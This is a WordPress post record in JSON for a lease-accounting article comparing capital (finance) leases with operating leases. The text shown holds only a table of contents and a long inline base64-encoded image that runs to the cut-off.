{"id":6774,"date":"2020-02-24T10:16:48","date_gmt":"2020-02-24T10:16:48","guid":{"rendered":"https:\/\/marc-market.ch\/?p=6774"},"modified":"2022-09-03T09:12:03","modified_gmt":"2022-09-03T09:12:03","slug":"capital-lease-vs-operating-lease-whats-the","status":"publish","type":"post","link":"https:\/\/marc-market.ch\/index.php\/2020\/02\/24\/capital-lease-vs-operating-lease-whats-the\/","title":{"rendered":"Capital Lease vs  Operating Lease: Whats the Difference"},"content":{"rendered":"<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Accounting Treatment of Finance Leases (or Capital Leases) vs. Operating Leases<\/a><\/li>\n<li><a href=\"#toc-1\">Operating vs. Capital Leasing: The Difference Between Each and How to Choose Between the Two<\/a><\/li>\n<li><a href=\"#toc-2\">Accounting for Finance Leases vs Operating Leases<\/a><\/li>\n<li><a href=\"#toc-3\">Key Differences<\/a><\/li>\n<li><a href=\"#toc-4\">What Is an Example of a Capital Lease?<\/a><\/li>\n<\/ul>\n<\/div>\n<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' 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ncVAoVGr9pWnUJq25JumU2qP1NkzDci2oqal1pEwG1hAJSlRTzBJI849Sd1E1JqD1I9JoVAVK0JubRIMGutlcqZjk5lsvekdo0UFtPZgEhOVDCgoxSvZt\/e0\/RDs2\/vafojztj4\/7eizOEUSAC1ukxo7TNvHf0mTt1Mbqxa\/NXxdN+HUG4abQ52eW8y+thdVlg04WgAjnKXgtR9UFSubKjkk7xJKtft41u7KzfdR05sB+vV0YmZp2ebcSglKUkttqmihJKUBOcHqe8xS3Zt\/e0\/RDs2\/vafogKpE+Ovr8Fm7C6bsoIb3W5RAcIbppo\/bQac4Cu+5dTtT7iTSDL25alGdoFeNw0t6QqbIXKPkJ5m0FcwR2SihBKcbYwMCPHvW7NUL7ohtyry1AYpwqr9XZYlahKITLrd6st\/Zjysg7hPiSSTFUdm397T9EOzb+9p+iPXVnOmSdfH+ywpYPb0C002MBbqO6dJ83eJ+J6lXBpxel\/wCmFLFOodq2jNPJqoqonZuosF8nsS0WFFEwkKZKVKPKRspRI36dyj6jah0GpW9VKbaNoNuWxK1CSkGzVGyjsp0LDwWPScnAcWE4IxnfOIpPs2\/vafoh2bf3tP0QFZzQACdP10XlXBqFZ7qlRrSXb6O1kEfv9CR6nqrvpmpupNNkpFpVpWbOT9OoL1sMVOaqLSnzTHElIYUEzIQrkScJVjOIiVjzF+2E\/UhTJSiTchWpNVPqlNnanKrlp2XJyELAeCgUndKkkEHoYr3s2\/vafoh2bf3tP0R4apJB108f7LNmFUqbXsa1sO37p5GR9\/SCSREQdQrdpN1XhbSpVq0rLtKjybUpPSM5LoqrLyqnLzbYbfbmXVzBWoFIATylPLgEbx+7F96hytE+plm3LbNFZoTtvSsiursqEtKuu9q6pKw+Cp1bmFFR22AAAin2JVMxMMyyAyhb7iWkqcISgKUcDmV3DJ6x6l4WdW7BuWdtC65FmUq9OITNS6HUu9kSkKwVJ2zggnwzHoquAkTH68PD5KJ+GWzqgY\/KXnvCQ6TB9735MF0TuM0TBV5VCpzFqab6QPWtM2bVrqtKTq7TyU11h12lOzMwXGVKb7UIWQhRI6hK+ucYMRlbz1PlZBttMjQV1VmhP22zWF1SVMy3IPE9onHbchcwVJDhGQFHv3iouVrf1E7YHTx6fTHIQ2rOG0nBIOE9CO4wNcnbTbn0AHTfReUsEp02kPhxLnOktM95znEe97svOm0HWVcir3vhy4qTcczZVnTDtGtxq1pZhdUa7MSbTRaaXn0nmDyUk4WCMnujt1nU7Uyvm4\/jS17QcTdVFp9GqSUVJlAWZJaVS00CJnIeSUpHXlIAyIriR0wuyo0CkXRKSMiql12pGjyT6pttIVO\/eVg7tqxg+tjYjxj8a5p5cdtqr7dclJKVdtidap9TaVNI525hzm5W0J\/1h9ReeXOOUk7Rl2lQDnH9vLp8lALHD31AAWFzdBvIh409\/k+P+qPBS6\/qveGozjdRrtq2s1WlNMtTdXl6oyJic7NPKlS0mYLaVEAcxSkc2BHYoV0ahW5Yrdh0mi260wzV2663PirMibROt4CHAoTHJgJSE8vLgjOYqblZ70oHTu8en0w5WtxyJ2JB9XoR1+jviPtTJdzP66K\/+zKfYtt4bkaQQIdAjb7+w5DYdFd9d1I1Br7N0tzFlWRLqvKakJ6sKl59kJfmJNZW0sIMyUjKiorGMKyekfsjVjVZqcYmWaLbnZylPn6bKtO1pt0y7M4OV0NuGY7RIA2bTzEI7sxRYQ0RzBCSCMggCJcNJrvNNpFWXL0lqXr8o9O0wO1FpC5tprPPyJJ+UCkjlOCSMDMSCtUcZE\/o+XU\/FUauFWFu0NqhgB2kH90N0l\/JjY8Gjovcv6fvTUedpdVuGg22KlISjUnNTzFTl0P1VLYCUuTZ7chbvKMFaQknv33j2arfepdSkrho8vRLYptJupFObq1Pk6oyll9MmoKbxzTJUgqACV4PrAd0U0kMKAUEpwokD1epHUfPHIQ0rlKWwebOMJ67Z\/JvEfamSddfH+yu\/sunkZTLWwzYZTA1DtO\/yIBHSBEQr1quqWoVYuKeumbsKxBPz1Jao5W3UG09i00UlpbZM0SlaQkJODhSdjmOtXNRNQ7gfrEzOWlaDS69XJG4p0s1RpPNOyqAlCkgzOAFespY7yo4xtFJ4ZIBCUHOQNuu2YBLKjgJTkAHGO47j6YyNw47k\/L8lCzA7anGVjdAANHbCI+\/\/KPgFkBSdZ9U6NcEzdElZ1kfGc3WZiszDyqg19lU+wpl5hYEz6zRQtQGcqSVEg5iUUyp2G1pxSrQqRl2mzQ35aem6RejUpMSbrqlrXLop6+cvAq7MEh0IWN9sRix2bf3tP0Q7Nv9wn6IzbdObvr5x+Xgq1fhu3rRkIZEe6HDYED7\/LMYG2uoKtmu3Led0SdD+qGzrRnatQpSXkGqwqpsomX5ZhQLSHUpmOzK0gBHaBIUU7ecfvcd53\/dDFzsVS2rXAu2sS1cny1VWUlMyxsgN\/5weVGCoEHJ36jaKf7Nv72n6Idm397T9ER9qT1\/WnRXW4TSbEBum2jtNQ7Tv6CQDA00V33NqVqHebdaYuyzbNqcvWKqqtoZcqbSUSM6ptLa3GuWZBKVJSnKFlQyI69Bv7US3V2k7IWzaZXZlMn6VTiupsnnZnObti4BM7q+yL5cYA5uhwIpjs2\/vafoh2bf3tP0R727pzSZ\/vPTqsBgtuKfYhrcvSHRq0tOmfm0kHrOqsK613heFKoFLqVFoDSrdkRTWJlmqy\/avS4UShLmXyn1eYjIAz3x7LVzXdN063afd1l2ndCrUaEtSpioVdpDqJZJyiXdLUwnt2kn5KVbgbZxtFSdm397T9EOzb+9p+iMe01n9fRTuw5jmCmQ2ASRo4EEzMEPkTJ2PhsrlktQNT5N+j1D4mtd2pW36eKHOGflUmnpnCouJS2l7kcCVKUWwoeoT3jAH2nUDUH4iTb7lq2o4wm3XLX7RVWb7QyTjnaKJPpOO0K\/W5sY7sRS\/Zt\/e0\/RDs2\/vafojIVnDmf16eChODW7jJY3r7p6k\/v9XE+ZJ3JVy1m\/9TK3cNIvh6h2uxeFJ9F\/+kDVTY9JmjLpCW1OIMwWuYpSEqUlIKgB0j85O7bqpV6C96Hp5ZFNfeanmp6Ul6m32M6mcaLb4WVTJWhOCSlKFAJJJGcxT3Zt\/e0\/RDs2\/vafojztjM69fX4f7816MIotbkDWxBbEOjKfu+\/sOQ2b92FcMhe+otKp1JpFPt+2GJKlUueopYFUYImpGbJLzThVME9cFKk4KSB1j7TfeorVEmLZYt62EUdy3FWtLyZqrChKyKne1cKFduCp1bnrKWrO+wAG0U32bf3tP0Q7Nv72n6ICs4cz+vRDg9BxktbvOx3kmff3knXfUjYqYamXBXrmrMhUbiptMk5iXpkvT2k0+ZS8hTLCeRBUUuLwrHXcZ64iIwCUp2SAPmhEbjmMlbGhRbb0m0mCAOm31P1SEIR4pkhCEESEIQRIQhBEhCEESEIQRIQhBEhCEESEIQRe3aNOteqVN6Xuu5F0NhuVW\/KTAli8hybQUltpzG6EK3ysZxgbbxcF4ayWNdV93lddKW9R5ms3dI1aXn3pTncmKYwkJWwdiUc3KF8h2VkBXSKEhEjarmNyj9b\/AJrWXeFUrysK1VxkCANIAJaTy1ktbvO2kLIp7WDS5+aoU3TQmlS8nTLwZ9ESyoCSVUHFmSZ5UpwrAUncHCP+ERB7v1Et6v2M7R3FqVcaJSnSRqEojkZqMq0QpSJkEbvNKGAsbKScHOMxVsIydcPcIP60j8FWt+H7W2e17S6QZEn+Yv6aiXHfw5iVZOl+o1Gtm1rptK6WHZiTn0M1WkciQoy9YllZYXuDhJBIV0BwMxIb31ism8NQbHu6pURybkUqkaxekn2KeScqiUhp4oQQApIbbSeXoorX4xSsI8Fd4bk5foqWpglpVuXXRkPMzBjdoafkAfMA7q8JDU\/TxilzVLraU1WtuJr3xdcRkR\/2cZsD0YAEc2E4X0H2Ln9XpHYa1Ts1VpKpcncCabXWqfbknMVIyRBqExJvrXMTB5RlWGlNtcy\/WdCN8iKHhGQuHj9en6Kgdw9au1l24O43BzbRETy25xOqnuqbVl1Z97UGzpxuVar9ankt0L0UMqlJdASUPjB5eVxSleqAAk7DONpjXL6suv6T2Vp4m5qLLGn0h6TrMzM0x12allmaU+lMusJyoKGElIOCep2ike\/MIxFUguIG+6sPwllSnSY97j2Rlp0nYgTIMwDodyRJlX9Oar6fKZlG5ufTVJdFkUCiJljKq5mKxKqQXZvmUBjswF+uDlecbgx0K9qzSZ6b1eep92OoFcRKqtJQZWgpcbqLU0opwn7EeRCxk4ySE9IpCEZG5ef15j8VXp8O2lNwcCTsdY5Oa7p\/IAeoJHSLyZ1WsH0xM6U8knM0mjyqKeqSSTIVJiYQ5MzucYycOK50+svtOU7DEeNr9fdnX5M0ictCcbUiSnK0HmDKlDgS\/PLeZdDpAKm1tLRytH9aKVADBipoR46u9zSw8\/zlSUMCtre4ZcsLszZjURq3Lrp057zud0hCEQrdJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCPZs+z7mv+5JG0LOo71Tq9RXyMS7WBnxUpR2QgDcqOwEZm2l8GRMO0xt+\/tUDLT7iQVy9JlUlpo+Acd3X8\/Kn5osW9pWuv+E2Vz+NcUYTw9lGIVg1zthBJjrABMeJ0WDMIy71k+DyuewbYn7wsm+JWuydMYXNTcpUEJlXgygZUpDuezJAycK5enXuiluG7RNviDv56yfqjXRUtU5dQEymXDpPKpI5eUkfuo9fZ16dQUnNhx28V5acVYRfWFTEqFYGlT94wZb5iJ+WvJVbCM7j8GCwDg6yPj\/9LR\/iiDa38BzOjmldwalp1MdqqqGy28JMyCWw7zOobxzBRI+Xn2RK\/Dbqm0vczQa7j81rLX2g8O3ldltQuJe8hoGV+pJgDVsbrEqEZj6YfB7M6j6e2\/fZ1TekDXJFucMsKchYa5h8nmKt4lB+C\/aHXWOY\/qtH+KPW4ZdvAc1mh8R+axr+0Thu2quo1LiHNJB7r9wYP3VghCMqrw4HGbU1esPSwajvTIvVuoLVO+gJSZX0ZkubJ5sK5sY3O0WIPgwGT01jf\/qtH+KPG4bdPJAZtodR59fFZ1\/aBw9bMp1KlxAqDM3uv1GYtn3erSNeiwRhGd36mAyDvrG\/\/VaP8UURobwwI1n1MvHTs3i5ShaZUBNplQ4ZjDym90kjl+Tn2xi\/D7mm5rHN1dtqPzU1rxxgV5QrXNGvLKQBccrtATA3GuvSVREInl3aXptbW6Z0cFZVMCXrcvR\/Ty0EqPalH2Tkzjbn6Z7ouTiB4F7j0WsVV\/UK6XLnkZJz\/tRr0MNOSrB6PAAnmSD8rwBz0BiJtrVc1zmt0bv4LY1uI8Mt6tvRq1YdXANOQe9MRrECZG8bwsX4RLtIrCTqnqZbunZqaqemvzSpf0tLYcLWG1ryEnY\/Ix7YmPEvoAnh4uyl2um511z4ykVTheXLhnkwvl5cAnMYCi80zWA7oMSrVTFrSlfswx7\/APGe0uAg6tEyZiOR5yqghF1cPnChqLxBdpVqWtmiWzLull2sTjZUHXB8pDDYwXCnvVkJByMkjEZIufBh26ZTkZ1bqonOX5SpJkt5\/i9ce2LFHD7mu3OxunoFpcU44wHBrg2l3XAeNwAXR5wCAfDfwWAkItHX7h6u\/h6uOVoly1KnVKVqSFu0+clHOVTqEkBXOyTzNkZHik52PdFXRVqU3UnFjxBC6KyvbfEbdt1avD6btQRz\/XySEZWaC8DLWtumlO1DVqO9SDPuOoMqJBLgRyLKc8xUM5xFh\/qX7WM\/XjmMfitH+KLjMNuqjQ9rND4j81y137QOHrGu+2r3EPYSCMr9CNDs2FghCMieKDhIb4cbSpF0Ivl2vGqVP4uLKpNLIb+wuOc+QTn9bxjzj9dbOEBGj+jlN1aTfbtU+MFSSfQVSSWwj0hHN8sKOeXp03iJ1nXYXBzfdEnbZbC34swi6ZQqUqsiu4tZ3XauGhG2m\/OAscYRJNNbOGoWoNv2KZ8yIrs83J+kpRzlrm+65T1iw+J\/h1Tw41yh0VN1uV344k3psuLlgz2fIsJ5cAnOcxEKL3UzVA7o0K2NXFrSjfU8Ne+K1QFzRB1AmTMRyO5VMQjM3Tv4O1m\/bDoF7HVV+S+PKcxPmX+LUKDXaICuXm5t8ZxmJD+pgsfwyP8A9Vo\/xxbbhd24BwZofEfmuare0XhuhUdSqXEOaSD3H7jQ\/dWCMInGtemqdINTKxp4irqqiaUpsCbU0Gy5zICvkgnHXEQcbrQn90tKT7SB\/wA4ovaabi124XYWtzSvKLLiiZY8Ag9QRI3SEZ+M\/BoWSuSYnH9V64yHm0L9ZiXABIzjdMdWr\/Bk0d6murtTVybXOpSS36ZKNOMqV3BXZ4IB8R08DGw\/ZN3+78x+a4lvtM4aLsprkeOR8fRYGwiTVrT64LS1HOmV4SpkKpLVRmmzQQeYAOLSA62T8pKkqCknG4IyIzcHwZNk9mhxWq1eQFgEc0vL\/wCGIKFlXuSRTG2\/JbjGOLcJwJtJ95VgVRLSAXAjTWQD1C1+wjYEPgyrFJAOrNdIz3MS+fzYw8trRy4r61kndHrKImZqXq05ICaf2Q3Ly7qkKfc5e7Cc4HUnEe1rGvQID277c1hhXGOD4y2q+1q92kMziQWgDXXUDooBCNgcj8HFpHTpeWpV16r1Y1uZRlIael5cLV\/4bSgVEZ8zGPPFJwnT\/DjIStxy96SVapFQeVLy7L4DM6FhJV8gbOJAG6hjGRtvGVbDrigw1HjQb6jRV8L47wPF7ttlbVTnd7stcA7yJH1hUFCM96J8GtZdXo1PqqtUq62qdlWZhSAwwQlS0BRA9Xpkx3T8GJZaflaq18fPLMf4YkGE3Z1y\/MKg72m8NMcWmsZH8jvyWvuEXVxT6AUjh5u2j23R7jnay3U5FU2t2aQhKkKC+XlHIAMRSsUatJ1F5pv3C7LDsQt8VtWXlqZY8SDEeGx1SEIRgrqQhCCJCEIIs\/vgzrEpaLfujUh9lC6k\/NilsLIyWmEJClAeHMo7\/MIxo1K1M1M4o9ZzRZWuTLTNRqrlPoNM9LWxKyzaVqSgqCTjnITlSjk5OOgAi8\/g39XqPRKjW9Iq5Ntyz1WeFRpSnFAB1wJ5XGgT91gBQHfv4R4usPBdrXp9qpM35oXJLqVNeqDlTpq5R5tE3THVqKi2UOHCkpKjyqGfVwCM9d05jqtjSFIEtBOYDf8AX9l8goXNvhvF2IOxNzWVXtb2D6mjQI2BOg1jx0cN1+0zwncbL9gv6aTt5U+Zth55Ey5Iv1lToJRuEBSgVdnnCuTPLlIOI8X4PKSfpvEjWaZNcvbyVGnJZ3lORzofSlWD3jIMZa8LNG4hKHZ9wVDiLrrsxNzTyXKe1NTLTjkswls8\/OWwEpyd8ZPTfEYscB7jbvFfdrrS0rQuVqikqSchQM2MEHvESm3ZSrW72hwk7O3ELXNxq6xDCsZtK5pOFNgOakIa5ztzPM6AT4K1+Ijg61j1X1frd+2nqJLUul1FuUQzKLnJlstlphDatkHl3Ukn2xjJxB8OGqWgtu0yq3tfiaxJ1udMgmXYnJhY5ktlzK0uHlI9X6cRkVxJ6dcaNe1ortW0iq9xsWo81JiRbk6+3LNBSZdAdw2Vgp+yBWdtzvGP+rmjnGEzZszcusrlaqNvW\/8A564uoVxqaTLEkN86UBZPN6+NhnBMRX1JhNQtpOmTrrG+p8lsOEL66ZTs2VsQtzTysHZ90VPdAa2d8wMA85VJMXZdsm1Ly0ndtcl2WltobaaqT6G0J5hslIVgDyAjYv8ACFVWq0rQWgzNKqs7IvLrMolTstMLaWQWl5BUkg4jWorq3\/Kt\/nCNkPwjP2v9v\/juT\/RLiGyJ+y1\/IfitrxfRpjiDBhlGtSpOm+jFrwduW5n5piefuasuzMrzCXfcqDynWeb5XIsq5k578EZjK\/4Om4bhqmstXlqrcNVnmU0RSw3NTrryQrtBuAtRAMYfxlj8G3+3ZWPxEv8ASCIMPJ+1M81uuOaNMcOXZDRozp4hQXi9uq6pLiZv2TkbqrcrLszksG2ZeovNIQDJsE4SlQA3JPti0vgzXHHtTr1eecW445R5dS1rUVKUovLySTuT5xTPGP8AbQ6hfhsr\/YmIuT4Mn9sq8vxNLfplxYtyTiX\/AFO\/FaPHKbGcAy0ATQpf\/BVfq59u5Uf57SH5WY2XX3qNZ9r3FbFhXghAavn0uRllvY7BTraEHsV5\/dhZA8xjvjWjq39u5Uf57SH5WYyD+E+cdZpGmj7Dq23WqjPrbWg4UhQaaIUD3EHeLVrXNvTuKreTvxXN4\/hNPHLvBcPqOLQ+idRuCKYIPoQCoyOHGd0I40dPpukS612jXKu+7THQCRLK9HdKpdR7iM+r4j5o6Pwjsguq62WXSW3ORU9TUyoV+57SZSnPvi\/eELX+j8QFnyluX0iVfvO0ltvq7VIKnwgFLc43norBIVjoSfGMffhJpmYktYrRnpRQS\/LUgvtE9y0PhSfeBC5p0m2Dn0fdc4GOm2ixwK9xK44vt7TExFehSfTLuTozFr\/UEee\/OFfvFBe81wy8M1Ht\/TUCmTc0uWoEg+0kZlUlpS3HRtgr5W1YJ+6VneMMdENE+ITWb03UPTS75hqcp092L09M1x5qYL+ArOcnmGDvnY+EZsXPRLa44OGSSbt2ssStVR2E4wVnm9CqbKSFNPJG4BClpJ8FcwzGL9h6D8eOnEzM2dp8zPW7Kzcz2r8wxPyvoal4x2pWcqIwBsBnyzHt7TdUrsflc6nAjL+tE4UvqNhhNza9rSo3wqO7Q1+YnWeZG+gnWSd9YtxNaK8Q1uLGrGudXptTmKg6zTg\/LzIWpOE+ohLYAShOxJx3knqYoCNjvwjK1S2hdvSE\/ONOT3xtLc\/rbuKS2edQHUjO\/TvjXFGtxGg23uCxs9dd9V9A4CxatjOCsuK7WtILmgMGVsN0EBd5u5rnpkgqVplz1mTYbSooZlqg802k9ThKVAD6I2Oa11WqyvADRanLVWdanVW3Q1qmkTC0vFSm2skrB5iTnc53jWjM\/wDd3f4ivyRsk1y\/9npRP5s0L9EzE2HE9nW\/0lajjylT+24Uco1ridN9lrqq1er9Wlewq9fqlQabJWhubnXX0pVjHMAtRAONsjeNqOtGjVf124bbbsa26lJyM4WKVOdrN83Z8rbAyPV3zuI1QPfrS\/mjZzxVXpdth8Jlt12yrjn6JUf+x2fSpJ0tucimPWTkdxwPojPDC3s6xqaiBPzVb2gUq5v8Kp2BDKhqOykjQHuwSFV+knADqjYOp1sXtVbst9+UolRanHmmQ7zrSnqE5GMx4\/wn37OrJ\/E83+mTFcaA8QOude1tsmh1zVq56hT56sMszMrMTpU26gndKhjcRY\/wn37OrJ\/E83+mTEj3UHYfU7BpAkb+YVK3oYvQ4zshjFVlR3ZvgsEACHaHQaysgPrb3JqzwY2pZFp1hFLqU7QqYpqZW4tAQEJQo7o9bcCMe\/1PfiF79W5L+sJ3++L9nKLqZX+Cq1qZpDMzrFzuUOlmVXJzYlnQkJQV4cJAG2e+MbBpJ8I0NxcF4f8AxU1\/1Is3VOm7IX0nO7o1Gy57h26vaAum29\/QoDtn92qG5jqNdeXL0KxauCWn5CvVKm1Sdcm5yRmnZR59xxThcU2opJ5lEkjbbMdAfrjX8s3+eIkWoNm3hYV31C2b+k1S1eZUHpxCn0vKKnBz8xWkkKJznrEdH641\/LN\/niOceC0kEQvvdtUbVosexwcCAQRsdNx4HktsnFFoZcev+kdEs62KpJSE1Kz0rUFOTfNyFCGlpIHLvnKxEH4TuEm9+Hq6aveF0XuzOy0zT1SwplP7UtuK5kq7RYVsVAJITgZ9YxMOLC0NXr00eodL0XXUE1puoSjzxkqgJNz0YMrCsrKk5GSnbPh4RSvDVpBxpWxq1R6xfVcq8pbDClmrNVKuidbmWihQCEtc6zz83KQrbGDv3HqqzWC8a\/snE6ajb9BfmvC61y\/hevbC\/pU6cvJpOjO6NdDv3o0gLHPWm\/Prk8U0xdIo85S21V6nSjUrOMlqYS2042kKcQd0qVurHgRGe3Flw7XJxEWvbFHtu4pOkOUacXNuuTIcIWlTPIAOTfOTGM3HYm2hxP2T8UBgVMiR+NOyxnPpSey58fdcvN13xiMkOMCzNeLztS1ZbQidqUvPS0645UDI1USKiyWcJClFSeYc3dvFahTAFyx4L9RMbnVdBi16ahwK5s3ttu4\/KX6tZDQNSYkEDQneQsX7l+Do1Kti26tcs3qTSXWaRIvz7jaBMBS0tNqWUjfqQnEQrgY1JtfT3W6UqV2TjclI1inuSCJt9WEMurKVJ5lHoDjGfOJdM6A\/CCT8s9ITlVuV+XmW1MvNO3chSHG1DCkqBcwUkEgg9xirtFOGu6tX9T6npeucl6Gu31PNViYVyu+iqbUUFCEAjtDzjGxxjJzFBzDSr03W9ItM7HmV2dG6p4hhF5QxnEaVZmXV1OO406SQ2ZMxGmp0WYnEhwMr1vvSb1TtC\/0MVCpMsky86gvMfY0BKCy4k5QCADgbZ3HWMPOIDTfXvTyZpFK1mm5+pSMk0qUo885MmZlw3nmLaVnfPkrfA8BFqyWg\/HVofXhTNOqjWJqSQ7\/m71MqKHpB5Odith84QPEKT7YyC40J2ab4RUNampp6LqmlU9Iblz6gnwtJc7PyCQ5nG3Xui1WoU7inUq5HU3DUzsVzeE4zd4He2Ng26pXlB5DGZQO0pgwJ01AA3knQEGFr102qFSGo9pJ+NJ4pNbkU8pmnCMdsnbGcYjNn4T6YmWLZ09MtNPslVUnQS06pBP2BP7kiMH9N\/wBsm0fx7I\/pkxm78KF+xnTz8azv6BMVbb\/I1\/8Ap+q6LiJo\/wDF+E6cqv8A2lYBuvTD5CpiZffUBgF11ThA8AVEx8QhGsX0gCEhCEF6kIQgiQhCCL7Zefln25mWfcZeZWHGnWllC21g5CkqG4IPeIv20uOniLtOnN0v6ppKsMtJCULqcol10AdMrGCfbGP8Ikp1qlEzTcR5LX4hhNjirQy+otqAbZgDHl0Vt6l8Veumq8m5SrmvNyXpjww5I01sSzTg8FcvrKHkTES0v1UvTRy4nLqsGeYk6i7Kqk1LeYS6nslEEjlO2cgbxEYQdWqOf2hcZ6yvKWEWFC2NnSotFI7tDQAfMc\/VZB\/5enEz++umf1Y3Hh3xxf676jWlU7Hu24KfM0irshibabkENqUgKCtlDcbpEUxCJHXdw4FpeY8yqdLhjBaD21adpTDmkEEMbII1BGm4QjOD4EKHzg5EWhqbxKauawW3L2nflak5umykw3NNNsyaGlBxCSlJ5k79Cdoq+EQtqPaC1p0O\/itnXsra5q061amHOp6tJAJaTvB5bDZImOl2rd86N12YuSwKgxJz8zLGVcW9LpeBbJzgBXQ5HWIdCPGucwhzTBUlxb0buk6hXaHMduCJB8wvcvi9Lg1Fu2p3xdcy1MVeruIdm3Wmg2lSkoSgYSNh6qEj2R7elWs2oGitUn6zp7UpeTm6lLolphb0ul4FtKuYABXQ5J3iEQj0VHtfnB16qKpY21a2+x1KYNKAMpAywNhG0CBCkVav657gv53U2pzbS7gfn26mt5LQSj0hHLykI6YHKnaJHqzxAaoa3S9LldRatKzrdGddelAxKJZKFOJCVZ5eowkRXUI97V8FsmDv4rH9nWfaU6vZNzUxDDAloiIb0Eaacl71i3zdGm11SN62ZU1SFXpyiWXQOZKkqGFIWk7KSR1Bj19VNYr91orEnXtQajLzk7Iy5lWVsy6WQGyrmIIT1Oe+IVCPO0cG5J06LJ1jbPuReOpjtQIDoGYDpO8a7KVaeap6g6UVZVa0\/uibpD7uA8htXMy+B0DjZ9VXz4zF0THwg3Ee\/ImUTUqCy4U8pmEU1PP84BOM+yMbYRJTua1EZabiB5qnfYBhWJVBWvLdj3DmWgn48\/VSC9r\/AL11HrCq\/fNyztZniMJcmHMpbT+5QkeqkfMIj8IRESXGTutnSo06DBSpNDWjYAQB5ALhaQtJQrooYMWjX+JXV259NWNI6zWpN22ZeUl5JuXTJoS4GmAkNjnG+QEjfvir4R62o5gIaYndQ3FlbXbmOuKYcWGWyAcp6jofFcKSFJKT0MWhfnElq3qVZMrp3d1ak5ihyZYUyy1JobUCynlb9YbnA+mKwhBtRzAQ0xO\/ileytrqoyrWphzmGWkgEtPUdCvUta5avZlyU27bffQzU6TMJmpVxaAtKXE9CUnYxJdWNatQtbZ+n1PUSpS07MUxhyXllMSyWQlC1BSgQnruBEGhAVHBpYDoeSPsrapcNu30wajRAdAkA7gHcBXjbXGnxB2jb1NtahXJTmadSZVuTlUKpzalJaQMJBJ6nA6x6X+XpxM\/vrpn9WNxj5CJheXAEB5+JWrfwtglRxe+0pknUnI3f4KRagX9c2p92Tl7XjNMzFWnghL7jTQbSQhISnCRsNhEdGxSodUqCh84ORCEQOJcZdut1Ro07em2lSaGtaAABoABsAsgGuO3iVYaQw1dlOCG0hCR8WNbADAjr1Hjj4mKlKrlTfbEqFgjtJaQaQ4PmVjaKHhE\/2y4Omc\/ErSDhXA2nMLOnP+hv5L0X7hrc5cAuqoVOYnat6UidVNzKy44t5KgpKlE9dwNumNovIcefEuAAm6qWABgAUtuMfIRhTr1aU5HET0Ku3uDYdiIaLugx+XQZmgwPCRpsFkIOPXiZBB+qqlnHjS24plN93exec3qFT69M0+4J2ddqDs5JrLSu2cWVLIA2wST6vSPBhB9xVqxncTHisbTBMNw\/N9lt2MzCDDQJHQ6ahZGUbj94j6TIJkXq3SKiUDCX5unpLp+cpIBiqNT9ZdSNY6o1VdQrkdqKpfPo8ulIbYYz15GxsCfHrEKhHr7mtVble8keajs+H8Kw+t9otbZjH9Q0A+nT0XapdSm6NVJKs09YRN0+YbmmFEZCXEKCkkjv3Aie6s8QeqWt0nTJHUWryk6zSH3JiUDEohkpWtISrJT1GBFcQiMVHNaWA6HdXqtjbVq7LmpTBqMnK4gS2d4O4nmkIQjFWkhCEESEIQRIQhBEhCEESEIQRInWluiGp2tT1TY01t9qqLo6WlTocnWpfsw5zcmO0I5s8qunTEQWM4fgvP8ATGo\/8hTPyzEWrKg25rtpP2P5LnOLcXr4Dg1fEbYAvZlgOkjVzW6wQdj1VL\/5C3FJ\/B3K\/wBdSv8Ajh\/kLcUn8Hcr\/XUr\/jjKPiT437u0P1UmtPqPY9IqcvLybEyJiZmHELJcByMJ22xFXfqneof8F9u\/+cejYVLfDaTyxz3SP10XEWWOceYhbMu6FrQLHgEakaHbQ1Fifetl3Lp5c89Zt3yCJKr05SUTLCHkuhBKQoYWklJ2I6GOpQbfr101Vmh2zRZ2q1GYOGpWTZU64v2Du8ztEi1Mvqta06mT14uUVqXqlxzTLTcjLKK09qrlbQhJO5ycfTGzTR3SbTrhJ0jmLguJ2VanpaTE5cFZWgFa143bQevICeVKR1OO8xUtbIXdVwaYYOZ6cl0XEXFz+GsPoG4p57qqAAxu2aBm6mATAiSdAOqwbpPAZxN1WTTOqs6mSAWnmS1O1dpDuPNKeblPkTEB1K4e9ZdImTN37Ys7JSIOPT2FJmZUHzdbJCf+LEZLXX8Jtcyqy4LI04p6aShZDaqlMLL7qAepCMBGeuN8RkHw6cU1k8S8hULWqlDap1el5YrnaRMlLzMzLk8qlt5HroyQCCMjIz1i4yzsLh3ZUahzcp2PyC5i54o4zwWl+0MTsqZofeDT3mjx7zo9QR1haousWpp5wu65arWwxeVhWgxUaPMOusNzC6kwySttRSsci1BQwoEZxvEz40uH2R0Q1BYqNrS\/Y2xcoW9JsDcSb6d3GQT9zvlI7hkd0Zh\/B6\/azUj8aVL+0rivaWHaXRtq2kA7en5rd8S8auseHqWOYUGuFRzR3gdAQ6QQCNQWxvG61f1WmTtEqs7RamyGpynzDkrMNhQUEOoPKoZGxwR1ESDTfS6+dXK+u19PqO3Uqm3LqmlMrmW2AG0kAnmWQO8bR+eqP7Z94fj6e\/TKi\/8A4OX9vya\/Ecx+cmKlCi2rcNpHYmF0mNYrWw7BKuJUgC9rMwBmJgeIMeqo3U\/R7UTRmpyNG1IobdLnKlLqmpVtE21Mc7SVcpJLZIG\/cd4ktg8K+u2qFsy142PZ0vUKROKWhl9dTl2SopOFZStQI38RF3fCc\/toWT+IJn+0CMkeAn7Wi3vwib\/SmL9HD6VS9fbEmAPXl4eK4vE+OMQsuFbbHKbGdrUdBBDsv39hmn7o5nmtWS6ZOoqyqEpkCdRNmRLfMNnw52ZTnp8rbPSLtTwNcUS0pWjTuWKVAEEVmV3B\/wCOKvmv215j+dbn9uMbbdc9T57RrRWsakU2lsVGYo0vLLRLPrKUOc7rbZyRvsFk+yI7Czo3Daj6xIDenr4eCu8Y8VYpgtaytsNpsc+40hwO8tAiH